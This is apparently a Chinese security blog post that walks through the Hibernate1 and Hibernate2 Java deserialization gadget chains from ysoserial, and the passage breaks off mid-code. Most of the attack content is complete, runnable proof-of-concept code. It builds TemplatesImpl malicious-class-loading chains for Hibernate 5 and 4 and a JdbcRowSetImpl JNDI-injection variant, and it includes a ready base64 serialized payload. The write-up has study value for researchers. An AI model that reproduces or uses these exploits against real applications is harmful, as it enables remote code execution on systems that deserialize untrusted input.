java反序列化 java反序列化之Hibernate Sherlock 2025-03-10 2025-03-21 hibernate1 hibernate>=5 导入依赖 1 2 3 4 5 <dependency > <groupId > org.hibernate</groupId > <artifactId > hibernate-core</artifactId > <version > 5.6.15.Final</version > </dependency >
分析 先看一手yso中的gadget
1 2 3 4 5 6 7 8 9 10 /** * org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getHashCode() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() */
可以看到漏洞点是GetterMethodImpl类中的get()方法,该方法中直接进行了一个invoke的调用
其中的getterMethod可以通过反射赋值
我们跟着gadget往上跟到AbstractComponentTuplizer.getPropertyValue(),同样的,getter数组还是能够被反射赋值
继续往上跟,componentTuplizer可控,若componentTuplizer为我们上面说到的AbstractComponentTuplizer类的对象的话,即可触发利用链
往上走的话还是本类中的getHashCode()方法调用了getPropertyValue方法
查找getHashCode()方法的用法,发现是在TypedValue类的initTransients()下的initialize()中一个匿名类里面的调用
initTransients()方法在该类的构造函数中进行了调用,所以在后续进行反序列化的过程中调用TypedValue的构造方法时候便会生成一个DeferredInitializer匿名类实例
跟着gadget继续往上走,ValueHolder的getValue()方法会调用上面提到的匿名类中的initialize()方法
查找getValue()方法的用法,跑回到了TypedValue类里面,是该类中的hashCode()方法
这里我们用HashMap类作为入口类,在反序列化时会调用TypedValue的hashCode()方法,怎么调用的呢
在它的readObject方法中会调用putVal方法,其中会再调用hash()方法
构造poc 承接上面的分析,在调用TypedValue的hashCode()方法后,往下走会调用该类中type属性的getHashCode方法
根据上面的分析我们可以知道type必须是ComponetType类对象
其构造函数参数都是hibernate自己封装的一些类,也都不是JavaBean,给创建ComponentType对象带来了不小的麻烦
于是乎这里引入了ReflectionFactory,能够绕过构造函数创建一个对象
https://www.cnblogs.com/strongmore/p/15470175.html
这里写个方法方便之后进行调用
1 2 3 4 5 6 7 public static Object createObjWithoutConstructor (Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true ); return constructor1.newInstance(); }
所以在生成TypedValue对象时便如下所示
1 TypedValue typedValue = new TypedValue (componentType,"11" );
通过上面的createObjWithoutConstructor函数我们生成的是一个干干净净的ComponentType对象,它的各种属性我们都没有进行赋值
所以我们要对一些必要的属性进行反射赋值
通过对getHashCode方法的观察,我们知道继续调用getPropertyValue方法的时候我们的x和i后续会传入componentTuplizer.getPropertyValue(component, i)中
我们要走进其for循环中,所以先给propertySpan赋值2,走进getPropertyValue( x, i );
来到412行的componentTuplizer.getPropertyValue( component, i )
,这个componentTuplizer需要是一个AbstractComponentTuplizer对象
但AbstractComponentTuplizer类是一个抽象类,所以我们必须找到它的实现类
这里用的是PojoComponentTuplizer类,反射赋值
1 2 3 PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);setField(componentType,"componentTuplizer" ,pojoComponentTuplizer);
这样子的话就会走到AbstractComponentTuplizer类中的getPropertyValue()方法中
在这个方法里面只要getters[i]是GetterMethodImpl对象,component是调用恶意getter的对象就行了
说到调用恶意getter的对象,很容易就联想到了前面学的CB链和jackson中相关的poc都有利用到TemplateImpl类的getOutputProperties()方法,getOutputProperties()方法又进一步调用TemplateImpl.newTransformer()方法,从而实现恶意类加载
这里我们需要对getters数组进行赋值,但AbstractComponentTuplizer是一个抽象类,所以我们必须获取它的class测i可以进行赋值
1 2 3 4 Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters" );field.setAccessible(true ); field.set(pojoComponentTuplizer,new Getter []{new GetterMethodImpl (Object.class,"qwq" , TemplatesImpl.class.getDeclaredMethod("getOutputProperties" ))});
走到GetterMethodImpl类中的get方法后,我们只要让该方法的owner参数为之前利用的template对象即可
封装一手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public static TemplatesImpl getTemplateImpl () throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); byte [] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class" )); Class<?> c = Class.forName("java.lang.ClassLoader" ); Method m = c.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); m.setAccessible(true ); Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0 ,bytes.length); TemplatesImpl templates = new TemplatesImpl (); Class<?> templatesClass = templates.getClass(); Field _classField = templatesClass.getDeclaredField("_class" ); _classField.setAccessible(true ); _classField.set(templates,new Class []{c1}); Field _nameField = templatesClass.getDeclaredField("_name" ); _nameField.setAccessible(true ); _nameField.set(templates,"666" ); Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex" ); _transletIndexField.setAccessible(true ); _transletIndexField.set(templates,0 ); Field _tfactoryField = templatesClass.getDeclaredField("_tfactory" ); _tfactoryField.setAccessible(true ); _tfactoryField.set(templates,new TransformerFactoryImpl ()); return templates; }
然后在TypedValue构造函数处赋值一下
1 TypedValue typedValue = new TypedValue (componentType,getTemplateImpl());
最初版本的poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.hibernate.engine.spi.TypedValue;import org.hibernate.property.access.spi.Getter;import org.hibernate.property.access.spi.GetterMethodImpl;import org.hibernate.tuple.component.AbstractComponentTuplizer;import org.hibernate.tuple.component.PojoComponentTuplizer;import org.hibernate.type.ComponentType;import sun.reflect.ReflectionFactory;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception{ HashMap<Object,Object> hashMap = new HashMap <>(); ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class); setField(componentType,"propertySpan" ,2 ); TypedValue typedValue = new TypedValue (componentType,getTemplateImpl()); PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class); Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters" ); field.setAccessible(true ); field.set(pojoComponentTuplizer,new Getter []{new GetterMethodImpl (Object.class,"qwq" , TemplatesImpl.class.getDeclaredMethod("getOutputProperties" ))}); setField(componentType,"componentTuplizer" ,pojoComponentTuplizer); hashMap.put(typedValue,1 ); byte [] bytes = ser(hashMap); System.out.println(Base64.getEncoder().encodeToString(bytes)); unser(bytes); } public static Object createObjWithoutConstructor (Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true ); return constructor1.newInstance(); } public static void setField (Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true ); field.set(object,value); } public static TemplatesImpl getTemplateImpl () throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); byte [] bytes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class" )); Class<?> c = Class.forName("java.lang.ClassLoader" ); Method m = c.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); m.setAccessible(true ); Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0 ,bytes.length); TemplatesImpl templates = new TemplatesImpl (); Class<?> templatesClass = templates.getClass(); Field _classField = templatesClass.getDeclaredField("_class" ); _classField.setAccessible(true ); _classField.set(templates,new Class []{c1}); Field _nameField = templatesClass.getDeclaredField("_name" ); _nameField.setAccessible(true ); _nameField.set(templates,"666" ); Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex" ); _transletIndexField.setAccessible(true ); _transletIndexField.set(templates,0 ); Field _tfactoryField = templatesClass.getDeclaredField("_tfactory" ); _tfactoryField.setAccessible(true ); _tfactoryField.set(templates,new TransformerFactoryImpl ()); return templates; } public static byte [] ser(Object o) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); } public static Object unser (byte [] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); return objectInputStream.readObject(); } }
运行后确实弹出了计算器,但是却报错了,是在put的时候触发gadget的经典问题,但是由于这个利用链中很多对象的赋值都不符合规范甚至未赋值,抛npe也是正常的
但是这样一来我们就没办法输出一个序列化之后的hashMap了,那就得想办法不让他在put的时候将链子走下去
对hashMap进行一波小改
1 2 3 4 5 6 7 8 9 10 hashMap.put(1 ,1 ); Field tableField = HashMap.class.getDeclaredField("table" );tableField.setAccessible(true ); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry != null ){ setField(entry,"key" ,typedValue); } }
这时候就可以触发反序列化,并且输出payload了
把这一段base64拿去测试,成功弹窗
1 2 3 byte [] bytes1 = Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGXHO08ZYmxfcgIADVoAHGNyZWF0ZUVtcHR5Q29tcG9zaXRlc0VuYWJsZWRaABJoYXNOb3ROdWxsUHJvcGVydHlaAAVpc0tleUkADHByb3BlcnR5U3BhbkwAD2NhbkRvRXh0cmFjdGlvbnQAE0xqYXZhL2xhbmcvQm9vbGVhbjtbAAdjYXNjYWRldAAoW0xvcmcvaGliZXJuYXRlL2VuZ2luZS9zcGkvQ2FzY2FkZVN0eWxlO0wAEWNvbXBvbmVudFR1cGxpemVydAAxTG9yZy9oaWJlcm5hdGUvdHVwbGUvY29tcG9uZW50L0NvbXBvbmVudFR1cGxpemVyO0wACmVudGl0eU1vZGV0ABpMb3JnL2hpYmVybmF0ZS9FbnRpdHlNb2RlO1sAC2pvaW5lZEZldGNodAAaW0xvcmcvaGliZXJuYXRlL0ZldGNoTW9kZTtbAA1wcm9wZXJ0eU5hbWVzdAATW0xqYXZhL2xhbmcvU3RyaW5nO1sAE3Byb3BlcnR5TnVsbGFiaWxpdHl0AAJbWlsADXByb3BlcnR5VHlwZXN0ABpbTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO1sAIXByb3BlcnR5VmFsdWVHZW5lcmF0aW9uU3RyYXRlZ2llc3QAJltMb3JnL2hpYmVybmF0ZS90dXBsZS9WYWx1ZUdlbmVyYXRpb247eHIAH29yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGXJFpSxstQ41AIAAHhwAAAAAAAAAnBwc3IAM29yZy5oaWJlcm5hdGUudHVwbGUuY29tcG9uZW50LlBvam9Db21wb25lbnRUdXBsaXplcsBwOcjTg59YAgAETAAOY29tcG9uZW50Q2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wACW9wdGltaXplcnQAMExvcmcvaGliZXJuYXRlL2J5dGVjb2RlL3NwaS9SZWZsZWN0aW9uT3B0aW1pemVyO0wADHBhcmVudEdldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hyADdvcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5BYnN0cmFjdENvbXBvbmVudFR1cGxpemVy8vZxKVYnaN0CAAVaABJoYXNDdXN0b21BY2Nlc3NvcnNJAAxwcm9wZXJ0eVNwYW5bAAdnZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADGluc3RhbnRpYXRvcnQAIkxvcmcvaGliZXJuYXRlL3R1cGxlL0luc3RhbnRpYXRvcjtbAAdzZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hwAAAAAAB1cgArW0xvcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyOyaF+ANJPbfPAgAAeHAAAAABc3IAPW9yZy5oaWJlcm5hdGUucHJvcGVydHkuYWNjZXNzLnNwaS5HZXR0ZXJNZXRob2RJbXBsJFNlcmlhbEZvcm2sW7ZWyd0bWAIABEwADmNvbnRhaW5lckNsYXNzcQB+ABNMAA5kZWNsYXJpbmdDbGFzc3EAfgATTAAKbWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wADHByb3BlcnR5TmFtZXEAfgAfeHB2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AB9MABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cHQAE2dldE91dHB1dFByb3BlcnRpZXN0AANxd3FwcHBwcHBwcHBwcHBzcQB+ACMAAAAAAAAAAHB1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAQb3JnLmV4YW1wbGUuVGVzdAAAAAAAAAAAAAAAeHB0AAM2NjZwdwEAeHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA==" );unser(bytes1);
最终poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.hibernate.engine.spi.TypedValue;import org.hibernate.property.access.spi.Getter;import org.hibernate.property.access.spi.GetterMethodImpl;import org.hibernate.tuple.component.AbstractComponentTuplizer;import org.hibernate.tuple.component.PojoComponentTuplizer;import org.hibernate.type.ComponentType;import sun.reflect.ReflectionFactory;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception{ HashMap<Object,Object> hashMap = new HashMap <>(); ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class); setField(componentType,"propertySpan" ,2 ); TypedValue typedValue = new TypedValue (componentType,getTemplateImpl()); PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class); Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters" ); field.setAccessible(true ); field.set(pojoComponentTuplizer,new Getter []{new GetterMethodImpl (Object.class,"qwq" , TemplatesImpl.class.getDeclaredMethod("getOutputProperties" ))}); setField(componentType,"componentTuplizer" ,pojoComponentTuplizer); hashMap.put(1 ,1 ); Field tableField = HashMap.class.getDeclaredField("table" ); tableField.setAccessible(true ); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry != null ){ setField(entry,"key" ,typedValue); } } byte [] bytes = ser(hashMap); System.out.println(Base64.getEncoder().encodeToString(bytes)); unser(bytes); } public static Object createObjWithoutConstructor (Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true ); return constructor1.newInstance(); } public static void setField (Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true ); field.set(object,value); } public static TemplatesImpl getTemplateImpl () throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); byte [] bytes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class" )); Class<?> c = Class.forName("java.lang.ClassLoader" ); Method m = c.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); m.setAccessible(true ); Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0 ,bytes.length); TemplatesImpl templates = new TemplatesImpl (); Class<?> templatesClass = templates.getClass(); Field _classField = templatesClass.getDeclaredField("_class" ); _classField.setAccessible(true ); _classField.set(templates,new Class []{c1}); Field _nameField = templatesClass.getDeclaredField("_name" ); _nameField.setAccessible(true ); _nameField.set(templates,"666" ); Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex" ); _transletIndexField.setAccessible(true ); _transletIndexField.set(templates,0 ); Field _tfactoryField = templatesClass.getDeclaredField("_tfactory" ); _tfactoryField.setAccessible(true ); _tfactoryField.set(templates,new TransformerFactoryImpl ()); return templates; } public static byte [] ser(Object o) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); } public static Object unser (byte [] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); return objectInputStream.readObject(); } }
hibernate<5 依赖导入 1 2 3 4 5 <dependency > <groupId > org.hibernate</groupId > <artifactId > hibernate-core</artifactId > <version > 4.3.11.Final</version > </dependency >
在依赖更新完了之后我们再看上面的poc,会看到报错如下
Getter和GetterMethodImpl类在Hibernate版本为4的时候都不存在
所以我们需要在这个版本找一个平替的
在小于5.0的hiberate下,存在BasicPropertyAccessor.BasicGetter.get()
和前面的GetterMethodImpl中的get()方法几乎一模一样
但是很可惜的是这里的method参数是transient的,transient修饰的参数不会参与进反序列化过程中
但是在BasicPropertyAccessor.BasicGetter
中有一个方法叫做readResolve()方法(在lab5中有提及到),在反序列化过程中只要该方法有被定义,那么就一定会被调用
我们跟进createGetter方法
继续跟进getGetterOrNull方法
该方法里面通过getterMethod函数来获取method,要是获取到了的话那么就会返回一个BasicGetter对象
我们跟进getterMethod方法
我们可以知道method其实就是从theClass中获取到所有与propertyName同值的getter(get或者是is开头的)
到这里我们差不多就知道了后面相关部分要怎么改动了
我们需要给BasicGetter的clazz参数赋一个包含有getter漏洞的class,然后propertyName参数的值要为getter对应的属性名
举个例子,我们要利用TemplatesImpl中的getOutputProperties()方法,那么class的值就是TemplatesImpl的class,然后propertyName的值就是OutputProperties
看一下BasicGetter的构造函数
是私有的,那我们就需要用到反射来进行赋值
创建一个BasicGetter(Method的赋值随意,重点在于propertyName)
1 2 3 4 Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class;Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class []{Class.class,Method.class,String.class});basicGetterConstructor.setAccessible(true ); BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties" ),"OutputProperties" );
稍微改一下getters数组
1 2 3 4 Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters"); field.setAccessible(true); field.set(pojoComponentTuplizer,new Getter[]{basicGetter});
成功触发poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.hibernate.engine.spi.TypedValue;import org.hibernate.property.BasicPropertyAccessor;import org.hibernate.property.Getter;import org.hibernate.tuple.component.AbstractComponentTuplizer;import org.hibernate.tuple.component.PojoComponentTuplizer;import org.hibernate.type.ComponentType;import sun.reflect.ReflectionFactory;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception{ HashMap<Object,Object> hashMap = new HashMap <>(); ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class); setField(componentType,"propertySpan" ,2 ); TypedValue typedValue = new TypedValue (componentType,getTemplateImpl()); Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class; Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class []{Class.class,Method.class,String.class}); basicGetterConstructor.setAccessible(true ); BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties" ),"OutputProperties" ); PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class); Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters" ); field.setAccessible(true ); field.set(pojoComponentTuplizer,new Getter []{basicGetter}); setField(componentType,"componentTuplizer" ,pojoComponentTuplizer); hashMap.put(1 ,1 ); Field tableField = HashMap.class.getDeclaredField("table" ); tableField.setAccessible(true ); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry != null ){ setField(entry,"key" ,typedValue); } } byte [] bytes = ser(hashMap); System.out.println(Base64.getEncoder().encodeToString(bytes)); unser(bytes); } public static Object createObjWithoutConstructor (Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true ); return constructor1.newInstance(); } public static void setField (Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true ); field.set(object,value); } public static TemplatesImpl getTemplateImpl () throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); byte [] bytes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class" )); Class<?> c = Class.forName("java.lang.ClassLoader" ); Method m = c.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); m.setAccessible(true ); Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0 ,bytes.length); TemplatesImpl templates = new TemplatesImpl (); Class<?> templatesClass = templates.getClass(); Field _classField = templatesClass.getDeclaredField("_class" ); _classField.setAccessible(true ); _classField.set(templates,new Class []{c1}); Field _nameField = templatesClass.getDeclaredField("_name" ); _nameField.setAccessible(true ); _nameField.set(templates,"666" ); Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex" ); _transletIndexField.setAccessible(true ); _transletIndexField.set(templates,0 ); Field _tfactoryField = templatesClass.getDeclaredField("_tfactory" ); _tfactoryField.setAccessible(true ); _tfactoryField.set(templates,new TransformerFactoryImpl ()); return templates; } public static byte [] ser(Object o) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); } public static Object unser (byte [] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); return objectInputStream.readObject(); } }
hibernate2 依然看一下yso里面提供的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 /** * javax.naming.InitialContext.InitialContext.lookup() * com.sun.rowset.JdbcRowSetImpl.connect() * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() * org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getHashCode() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() */
从上面的链子可知大部分和Hibernate1的差不多,只需要改一下getter数组的值就可以了
这里利用的是jndi注入漏洞,需要前面在fastjson中提到的JdbcRowSetImpl
之前由于在fastjson中对于getter调用的条件比较严格,所以并没有用上这个getter方法,但是这一次的hiberate链中可以实现任意getter调用
poc只需要稍微修改一手,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 package org.example;import com.sun.rowset.JdbcRowSetImpl;import org.hibernate.engine.spi.TypedValue;import org.hibernate.property.access.spi.Getter;import org.hibernate.property.access.spi.GetterMethodImpl;import org.hibernate.tuple.component.AbstractComponentTuplizer;import org.hibernate.tuple.component.PojoComponentTuplizer;import org.hibernate.type.ComponentType;import sun.reflect.ReflectionFactory;import javax.sql.rowset.BaseRowSet;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception{ HashMap<Object,Object> hashMap = new HashMap <>(); ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class); setField(componentType,"propertySpan" ,2 ); PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class); JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); Class c0 = BaseRowSet.class; Field dataSourceField = c0.getDeclaredField("dataSource" ); dataSourceField.setAccessible(true ); dataSourceField.set(jdbcRowSet,"ldap://127.0.0.1:10389/cn=test,dc=example,dc=com" ); Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters" ); field.setAccessible(true ); field.set(pojoComponentTuplizer,new Getter []{new GetterMethodImpl (Object.class,"qwq" , JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData" ))}); setField(componentType,"componentTuplizer" ,pojoComponentTuplizer); hashMap.put(1 ,1 ); TypedValue typedValue = new TypedValue (componentType,jdbcRowSet); Field tableField = HashMap.class.getDeclaredField("table" ); tableField.setAccessible(true ); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry != null ){ setField(entry,"key" ,typedValue); } } byte [] bytes = ser(hashMap); System.out.println(Base64.getEncoder().encodeToString(bytes)); unser(bytes); } public static Object createObjWithoutConstructor (Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true ); return constructor1.newInstance(); } public static void setField (Object object,String fieldName,Object value) throws Exception{ Class<?> c = 